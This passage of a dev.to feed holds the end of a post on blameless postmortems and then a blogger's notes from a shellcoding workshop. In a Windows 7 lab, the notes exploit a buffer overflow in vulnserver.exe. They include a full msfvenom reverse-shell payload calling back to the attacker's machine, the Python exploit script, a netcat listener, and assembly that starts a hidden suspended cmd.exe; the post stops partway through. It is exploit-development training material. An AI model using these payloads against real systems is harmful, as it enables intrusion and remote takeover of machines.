&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;Information sharing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Adopt practices that promote sharing. People want to share their successes and they want to replicate that success.&lt;/li&gt;
&lt;li&gt;May seem counterintuitive to share incident reports because it seems that you're sharing failure rather than success.&lt;/li&gt;
&lt;li&gt;The truth is, practicing blameless postmortem leads to success because it enables teams to learn from failure, and improve systems to reduce the prevalence of failure.&lt;/li&gt;
&lt;li&gt;Being transparent about system failure reinforces a culture of blamelessness.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Accountability:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Engage leaders that prioritize work.&lt;/li&gt;
&lt;li&gt;Email completed postmortems to all teams involved in incident response.&lt;/li&gt;
&lt;li&gt;Schedule postmortem meetings on a shared calendar annd anyone is welcomed to join.&lt;/li&gt;
&lt;li&gt;Create a community of experienced postmortem writers to review drafts and spread good practices.&lt;/li&gt;
&lt;li&gt;Clarify policy and ownership of postmortem action items.&lt;/li&gt;
&lt;li&gt;Start small. Get feedback and continue to grow from there.&lt;/li&gt;
&lt;li&gt;Practice makes perfect. Find opportunity to practice, organize Failure Fridays in a non-production environment and conduct table top discussions.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;More info:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;postmortems.pagerduty.com&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>culture</category>
    </item>
    <item>
      <title>Rebind Socket Shellcode</title>
      <dc:creator>Faiz Azhar</dc:creator>
      <pubDate>Sat, 12 Jun 2021 21:08:02 +0000</pubDate>
      <link>https://dev.to/gabanz/rebind-socket-shellcode-5522</link>
      <guid>https://dev.to/gabanz/rebind-socket-shellcode-5522</guid>
      <description>&lt;h1&gt;
  
  
  Advanced Shellcoding Workshop
&lt;/h1&gt;

&lt;p&gt;Today I attended an advanced shellcoding workshop organized by &lt;a href="https://www.div0.sg/"&gt;Div0&lt;/a&gt; and taught by &lt;a href="https://www.linkedin.com/in/arnold-anthony-36504663/"&gt;Arnold Anthony&lt;/a&gt;. Previously I had attended the basics of buffer overflow and custom shellcoding workshop taught by him but I had lost the notes, so this time I'm going to post my notes here so I won't lose them again.&lt;/p&gt;

&lt;p&gt;A few minutes after the workshop started, the courier came knocking on my door and delivered the &lt;a href="https://www.instagram.com/wakethecrew/"&gt;@WakeTheCrew&lt;/a&gt; &lt;a href="https://www.wakethecrewcoldbrew.com/shop/p/espresso-coffee-concentrate"&gt;espresso coffee concentrate&lt;/a&gt; (highly recommended!) that I had ordered 2 days ago. After enjoying a cup of cold brew coffee, I was ready to start hacking!&lt;/p&gt;

&lt;p&gt;Arnold starts by explaining the goal of this workshop.&lt;br&gt;
Sometimes during reconnaissance, we might know the server is running a vulnerable process but is protected by firewall and thus, we cannot get a reverse/bind shell.&lt;br&gt;
In this workshop, he explained how to create a shellcode that rebinds the socket to the same port that's allowed by the firewall, so we can connect to it.&lt;/p&gt;

&lt;p&gt;In this workshop, we're using Win7 VM which had ASLR disabled on purpose. In real world, generally we will need to bypass ASLR, however this will be out of the scope of this workshop.&lt;/p&gt;

&lt;p&gt;Here's the IP addresses of the VMs I'm using.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Win7: 172.16.202.133&lt;/li&gt;
&lt;li&gt;Kali Linux: 172.16.202.130&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  Why and when does a rebind socket needed?
&lt;/h2&gt;

&lt;p&gt;First, let's review a situation when a rebind shell is not needed.&lt;/p&gt;

&lt;p&gt;In our PoC (proof of concept), a vulnerable server &lt;code&gt;vulnserver.exe&lt;/code&gt; was started in the Win7 VM.&lt;/p&gt;

&lt;p&gt;I started by port scanning the Win7 machine using &lt;code&gt;nmap&lt;/code&gt; in Kali:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -sS 172.16.202.133
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-12 10:17 +08
Nmap scan report for 172.16.202.133
Host is up (0.00056s latency).
Not shown: 988 filtered ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
554/tcp   open  rtsp
2869/tcp  open  icslap
5357/tcp  open  wsdapi
9999/tcp  open  abyss     &amp;lt;------ vulnserver.exe
10243/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
MAC Address: 00:0C:29:73:49:4C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 4.83 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I can see there are a lot of services running, one of them is port 9999 served by our &lt;code&gt;vulnserver&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Here I created a Windows reverse shell payload using &lt;code&gt;msfvenom&lt;/code&gt; which generates a shellcode for Python script. A vulnerable process receiving this payload will connect to my Kali machine over port 4444.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;msfvenom -a x86 -platform Windows -p windows/shell_reverse_tcp lhost=172.16.202.130 lport=4444 -e x86/shikata_ga_nai -b "\x00" -f python

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf =  b""
buf += b"\xda\xcb\xd9\x74\x24\xf4\x5d\xb8\xd8\xea\xce\x07\x33"
buf += b"\xc9\xb1\x52\x31\x45\x17\x03\x45\x17\x83\x1d\xee\x2c"
buf += b"\xf2\x61\x07\x32\xfd\x99\xd8\x53\x77\x7c\xe9\x53\xe3"
buf += b"\xf5\x5a\x64\x67\x5b\x57\x0f\x25\x4f\xec\x7d\xe2\x60"
buf += b"\x45\xcb\xd4\x4f\x56\x60\x24\xce\xd4\x7b\x79\x30\xe4"
buf += b"\xb3\x8c\x31\x21\xa9\x7d\x63\xfa\xa5\xd0\x93\x8f\xf0"
buf += b"\xe8\x18\xc3\x15\x69\xfd\x94\x14\x58\x50\xae\x4e\x7a"
buf += b"\x53\x63\xfb\x33\x4b\x60\xc6\x8a\xe0\x52\xbc\x0c\x20"
buf += b"\xab\x3d\xa2\x0d\x03\xcc\xba\x4a\xa4\x2f\xc9\xa2\xd6"
buf += b"\xd2\xca\x71\xa4\x08\x5e\x61\x0e\xda\xf8\x4d\xae\x0f"
buf += b"\x9e\x06\xbc\xe4\xd4\x40\xa1\xfb\x39\xfb\xdd\x70\xbc"
buf += b"\x2b\x54\xc2\x9b\xef\x3c\x90\x82\xb6\x98\x77\xba\xa8"
buf += b"\x42\x27\x1e\xa3\x6f\x3c\x13\xee\xe7\xf1\x1e\x10\xf8"
buf += b"\x9d\x29\x63\xca\x02\x82\xeb\x66\xca\x0c\xec\x89\xe1"
buf += b"\xe9\x62\x74\x0a\x0a\xab\xb3\x5e\x5a\xc3\x12\xdf\x31"
buf += b"\x13\x9a\x0a\x95\x43\x34\xe5\x56\x33\xf4\x55\x3f\x59"
buf += b"\xfb\x8a\x5f\x62\xd1\xa2\xca\x99\xb2\x60\x1a\x6b\xc0"
buf += b"\x11\x19\x6b\xd4\xbd\x94\x8d\xbc\x2d\xf1\x06\x29\xd7"
buf += b"\x58\xdc\xc8\x18\x77\x99\xcb\x93\x74\x5e\x85\x53\xf0"
buf += b"\x4c\x72\x94\x4f\x2e\xd5\xab\x65\x46\xb9\x3e\xe2\x96"
buf += b"\xb4\x22\xbd\xc1\x91\x95\xb4\x87\x0f\x8f\x6e\xb5\xcd"
buf += b"\x49\x48\x7d\x0a\xaa\x57\x7c\xdf\x96\x73\x6e\x19\x16"
buf += b"\x38\xda\xf5\x41\x96\xb4\xb3\x3b\x58\x6e\x6a\x97\x32"
buf += b"\xe6\xeb\xdb\x84\x70\xf4\x31\x73\x9c\x45\xec\xc2\xa3"
buf += b"\x6a\x78\xc3\xdc\x96\x18\x2c\x37\x13\x28\x67\x15\x32"
buf += b"\xa1\x2e\xcc\x06\xac\xd0\x3b\x44\xc9\x52\xc9\x35\x2e"
buf += b"\x4a\xb8\x30\x6a\xcc\x51\x49\xe3\xb9\x55\xfe\x04\xe8"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I pasted the generated payload in my Python script &lt;code&gt;exp.py&lt;/code&gt;, where &lt;code&gt;0x625011af&lt;/code&gt; is the “JMP ESP” address. Arnold said he won't explain how we get to this address since that's covered in the previous Buffer Overflow workshop.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/usr/bin/python
import socket
import sys

buf =  b""
buf += b"\xda\xcb\xd9\x74\x24\xf4\x5d\xb8\xd8\xea\xce\x07\x33"
buf += b"\xc9\xb1\x52\x31\x45\x17\x03\x45\x17\x83\x1d\xee\x2c"
buf += b"\xf2\x61\x07\x32\xfd\x99\xd8\x53\x77\x7c\xe9\x53\xe3"
buf += b"\xf5\x5a\x64\x67\x5b\x57\x0f\x25\x4f\xec\x7d\xe2\x60"
buf += b"\x45\xcb\xd4\x4f\x56\x60\x24\xce\xd4\x7b\x79\x30\xe4"
buf += b"\xb3\x8c\x31\x21\xa9\x7d\x63\xfa\xa5\xd0\x93\x8f\xf0"
buf += b"\xe8\x18\xc3\x15\x69\xfd\x94\x14\x58\x50\xae\x4e\x7a"
buf += b"\x53\x63\xfb\x33\x4b\x60\xc6\x8a\xe0\x52\xbc\x0c\x20"
buf += b"\xab\x3d\xa2\x0d\x03\xcc\xba\x4a\xa4\x2f\xc9\xa2\xd6"
buf += b"\xd2\xca\x71\xa4\x08\x5e\x61\x0e\xda\xf8\x4d\xae\x0f"
buf += b"\x9e\x06\xbc\xe4\xd4\x40\xa1\xfb\x39\xfb\xdd\x70\xbc"
buf += b"\x2b\x54\xc2\x9b\xef\x3c\x90\x82\xb6\x98\x77\xba\xa8"
buf += b"\x42\x27\x1e\xa3\x6f\x3c\x13\xee\xe7\xf1\x1e\x10\xf8"
buf += b"\x9d\x29\x63\xca\x02\x82\xeb\x66\xca\x0c\xec\x89\xe1"
buf += b"\xe9\x62\x74\x0a\x0a\xab\xb3\x5e\x5a\xc3\x12\xdf\x31"
buf += b"\x13\x9a\x0a\x95\x43\x34\xe5\x56\x33\xf4\x55\x3f\x59"
buf += b"\xfb\x8a\x5f\x62\xd1\xa2\xca\x99\xb2\x60\x1a\x6b\xc0"
buf += b"\x11\x19\x6b\xd4\xbd\x94\x8d\xbc\x2d\xf1\x06\x29\xd7"
buf += b"\x58\xdc\xc8\x18\x77\x99\xcb\x93\x74\x5e\x85\x53\xf0"
buf += b"\x4c\x72\x94\x4f\x2e\xd5\xab\x65\x46\xb9\x3e\xe2\x96"
buf += b"\xb4\x22\xbd\xc1\x91\x95\xb4\x87\x0f\x8f\x6e\xb5\xcd"
buf += b"\x49\x48\x7d\x0a\xaa\x57\x7c\xdf\x96\x73\x6e\x19\x16"
buf += b"\x38\xda\xf5\x41\x96\xb4\xb3\x3b\x58\x6e\x6a\x97\x32"
buf += b"\xe6\xeb\xdb\x84\x70\xf4\x31\x73\x9c\x45\xec\xc2\xa3"
buf += b"\x6a\x78\xc3\xdc\x96\x18\x2c\x37\x13\x28\x67\x15\x32"
buf += b"\xa1\x2e\xcc\x06\xac\xd0\x3b\x44\xc9\x52\xc9\x35\x2e"
buf += b"\x4a\xb8\x30\x6a\xcc\x51\x49\xe3\xb9\x55\xfe\x04\xe8"

shellcode = "A" * 2003 + "\xaf\x11\x50\x62" +"\x90"*10+ buf + "C"*(3000-len(buf)-4-2003-10) #625011af

try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect=s.connect(('172.16.202.133',9999))
        s.send(('TRUN /.:/'+shellcode))
        print("Fuzzing with TRUN comamnd with %s bytes"% str(len(shellcode)))
        s.close()
except:
        print("Error connecting to server")
        sys.exit()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So I started a &lt;code&gt;netcat&lt;/code&gt; listener in a new console tab in Kali:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nc -lvp 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then I ran the exploit script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python exp.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When I checked &lt;code&gt;netcat&lt;/code&gt; I can see a Windows command prompt was displayed. &lt;br&gt;
This means the Python script successfully connected to my Win7 machine over port 9999, then the shellcode creates a reverse shell using a random local port, which calls back to my &lt;code&gt;netcat&lt;/code&gt; listener on my Kali machine over port 4444:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;C:\Users\test\Desktop&amp;gt;netstat -ano | findstr 4444
netstat -ano | findstr 4444
  TCP    172.16.202.133:49175   172.16.202.130:4444    ESTABLISHED     2212
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Imagine if there is a firewall that blocks connection to custom ports like 4444. In this case, there is no way we can get the reverse shell to work.&lt;/p&gt;

&lt;p&gt;To simulate this scenario, I disabled all inbound rules in "Windows Firewall" which allowed external connections to connect to this machine. Then I created a new rule which only allow inbound connections to port 9999.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Inbound Rules &amp;gt; Select all &amp;gt; Disable rule&lt;/li&gt;
&lt;li&gt;Action &amp;gt; New Rule &amp;gt; Port &amp;gt; Specify TCP port 9999 &amp;gt; Allow the conection &amp;gt; Next &amp;gt; Give a name &amp;gt; Finish&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Next, I configured the firewall to block all outbound connections from this Win7 VM:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Right click on "Windows Firewall with Advanced Security" &amp;gt; Properties &amp;gt; Domain Profile/Private Profile/Public Profile &amp;gt; Outbound connections &amp;gt; Block &amp;gt; OK&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mQXId1d8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ng35cbkmbh6x0yrkh364.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mQXId1d8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ng35cbkmbh6x0yrkh364.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now when I do a port scan, I can confirm the only exposed port in Win7 is port 9999.&lt;br&gt;
In real world, if we see only one or two ports exposed, this means there's probably a firewall involved.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap 172.16.202.133
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-12 11:03 +08
Nmap scan report for 172.16.202.133
Host is up (0.00038s latency).
Not shown: 999 filtered ports
PORT     STATE SERVICE
9999/tcp open  abyss
MAC Address: 00:0C:29:73:49:4C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 15.88 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If I re-run &lt;code&gt;netcat&lt;/code&gt; and the Python script again, this time we will not get a shell. Even though the script was able to connect to port 9999 and exploited the server, the firewall blocked outbound connection to my Kali machine.&lt;/p&gt;

&lt;p&gt;So the goal of this workshop is to figure out how we can get a shell even in this situation.&lt;/p&gt;




&lt;h2&gt;
  
  
  How does a Rebind Socket work
&lt;/h2&gt;

&lt;p&gt;Overview:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Create a suspended &lt;code&gt;cmd.exe&lt;/code&gt; process via shellcode.&lt;/li&gt;
&lt;li&gt;In &lt;code&gt;cmd.exe&lt;/code&gt; process, allocate a memory space.&lt;/li&gt;
&lt;li&gt;Write a shellcode inside this allocated memory.&lt;/li&gt;
&lt;li&gt;Using primary thread in &lt;code&gt;cmd.exe&lt;/code&gt; process, get the EIP register value.&lt;/li&gt;
&lt;li&gt;Change EIP register value into the allocated memory address.&lt;/li&gt;
&lt;li&gt;Now that EIP is pointed to the memory, resume the thread to execute the bind shell.&lt;/li&gt;
&lt;li&gt;Terminate the &lt;code&gt;vulnserver.exe&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the rest of the post, I will explain steps by steps how to do this.&lt;/p&gt;




&lt;h3&gt;
  
  
  Step 1 - Create a process
&lt;/h3&gt;

&lt;p&gt;Open &lt;code&gt;vulnserver.exe&lt;/code&gt; in Immunity Debugger.&lt;br&gt;
Click play button to run the application.&lt;br&gt;
In the bottom input field, type &lt;code&gt;bp 0x625011af&lt;/code&gt; to create a breakpoint at the memory address defined in the Python script. &lt;/p&gt;

&lt;p&gt;Click "b" button in Immunity Debugger to check the breakpoint is put in place, click "c" to come back to the main window.&lt;/p&gt;

&lt;p&gt;Then I removed the previous shellcode in the Python script and run the script.&lt;br&gt;
I can see in that execution stopped at the breakpoint (&lt;code&gt;JMP ESP&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--0jM9vv0c--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/03x73aqccczzu8etancd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--0jM9vv0c--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/03x73aqccczzu8etancd.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then I step over the code using F8, or by clicking the down arrow icon (third button after Play button).&lt;/p&gt;

&lt;p&gt;Here is where I will create a new process using Windows API &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"&gt;&lt;code&gt;CreateProcessA&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;According to MSDN, these are the arguments needed to construct CreateProcessA:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Out of all these arguments, I will leave most of them null. There are only 4 arguments that are important.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;lpCommandLine&lt;/code&gt;: specify a string value of the command we want to run here, in this case it will be "cmd".&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dwCreationFlags&lt;/code&gt;: specify a flag that creates a suspended process with no window shown.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;lpStartupInfo&lt;/code&gt;: points to a &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa"&gt;structure&lt;/a&gt; containing 18 arguments for the window, which should be all null because we want the process hidden at all times.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;lpProcessInformation&lt;/code&gt;: points to the most important &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information"&gt;structure&lt;/a&gt; that will be used to get the handle of the process. In the structure, &lt;code&gt;hProcess&lt;/code&gt; and &lt;code&gt;hThread&lt;/code&gt; will be the handle that we want to control, depending on if we want to get hold of the process or thread.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now, I will start creating the argument.&lt;/p&gt;

&lt;p&gt;Use any "ASCII to Hex" online tool to convert "cmd" string to hex:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;63 6d 64
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The string has to be terminated by adding 0x00 (null byte) at the end.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;63 6d 64 00
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When putting the values in the stack, it has to be in reverse order:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;00 64 6d 63
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However zeroes is considered bad character in a shellcode, so we have to make sure this doesn't show up.&lt;/p&gt;

&lt;p&gt;In Immunity Debugger, press spacebar at &lt;code&gt;NOP&lt;/code&gt;, or double click it.&lt;/p&gt;

&lt;p&gt;There are many options to avoid bad character in the shellcode.&lt;br&gt;
One method we can use is to add a value that does not end in 00, then add or subtract from it. &lt;/p&gt;

&lt;p&gt;In this example I'm using a general purpose register EDX.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MOV EDX,10747d73
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then we will subtract 10101010 from EDX:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SUB EDX,10101010
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The value stored in EDX register will end up with &lt;code&gt;0x00646d63&lt;/code&gt; (the equivalent hex value of "cmd" in ASCII). Push it to the stack:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PUSH EDX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If I step over I can see the address of the stack frame which stores the "cmd" string in the bottom right pane of Immunity Debugger.&lt;br&gt;
Next I will get the value of the address from the stack and put into another general purpose register such as EBX. This will be used later as the value for &lt;code&gt;lpCommandLine&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MOV EBX,ESP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I can create values for the other arguments on the fly, but let's focus on &lt;code&gt;lpStartupInfo&lt;/code&gt; structure next. &lt;/p&gt;

&lt;p&gt;Since these are all null, I'll use XOR to create a zero value and save it in a general purpose register such as ECX:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;XOR ECX,ECX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The value shown on the left side ("33 C9") is the shellcode payload for this null value.&lt;br&gt;
I will push this 17 times for all the &lt;code&gt;lpStartupInfo&lt;/code&gt; arguments.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PUSH ECX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next I will save the address in the stack frame that points to this &lt;code&gt;lpStartupInfo&lt;/code&gt; structure into another register, such as ESI.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MOV ESI,ESP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The value stored in ESI is a memory address that points to &lt;code&gt;lpStartupInfo&lt;/code&gt;, for example this would be something like &lt;code&gt;0x0194F998&lt;/code&gt;.&lt;br&gt;
&lt;code&gt;lpProcessInformation&lt;/code&gt; is another structure needed in &lt;code&gt;CreateProcessA&lt;/code&gt;. Though we can use any memory address we want to populate this information into, I'll give it 4 bytes offset from &lt;code&gt;0x0194F998&lt;/code&gt;, which is &lt;code&gt;0x0194F99C&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;I'll assign this memory address value to EDI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MOV EDI,ESI
ADD EDI,4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So far:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ESI contains the memory address of &lt;code&gt;lpStartupInfo&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;EDI contains the memory address of &lt;code&gt;lpProcessInformation&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Push both to the stack:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PUSH EDI
PUSH ESI
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next argument in &lt;code&gt;CreateProcessA&lt;/code&gt; structure will be 2 nulls:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BOOL CreateProcessA(
  LPCSTR                lpApplicationName, #null
  LPSTR                 lpCommandLine, #string "cmd" that's stored in EBX
  LPSECURITY_ATTRIBUTES lpProcessAttributes, #null
  LPSECURITY_ATTRIBUTES lpThreadAttributes, #null
  BOOL                  bInheritHandles, #null
  DWORD                 dwCreationFlags, #string "0800004" that's stored in ECX
  LPVOID                lpEnvironment, #null
  LPCSTR                lpCurrentDirectory, #null
  LPSTARTUPINFOA        lpStartupInfo, #memory address stored in ESI
  LPPROCESS_INFORMATION lpProcessInformation #memory address stored in EDI
);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So we push ECX which contains zero value two times:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PUSH ECX
PUSH ECX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then for &lt;code&gt;dwCreationFlags&lt;/code&gt; we need to create a value &lt;code&gt;0x0800004&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Why this value, you ask? Refer to the &lt;a href="https://docs.microsoft.com/en-us/windows/win32/procthread/process-creation-flags"&gt;Process Creation Flags&lt;/a&gt; section in MSDN. This is the sum of two values that I want the process to be created with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;0x0000004: suspended process&lt;/li&gt;
&lt;li&gt;0x0800000: no window&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;0x0800004&lt;/code&gt; contains bad character because it ends in null byte (zero value).&lt;br&gt;
ECX register already contains zero, so I will reuse it for this operation.&lt;br&gt;
Here I added a value that does not contain bad character, then substract accordingly to get the value that we want:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MOV ECX,9010105
SUB ECX,1010101
PUSH ECX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally I push 3 nulls for the next 3 arguments.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;XOR ECX,ECX
PUSH ECX
PUSH ECX
PUSH ECX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then push the last 2 values to complete the structure.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PUSH EBX
PUSH ECX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;MSDN describes that the API &lt;code&gt;CreateProcessA&lt;/code&gt; is implemented in kernel32.dll. I can get the specific address of the API using tools like &lt;a href="https://www.fuzzysecurity.com/tutorials/expDev/tools/arwin.rar"&gt;Arwin&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;C:\Users\test\Desktop&amp;gt;arwin kernel32.dll CreateProcessA
arwin - win32 address resolution program - by steve hanna - v.01
CreateProcessA is located at 0x77de2082 in kernel32.dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



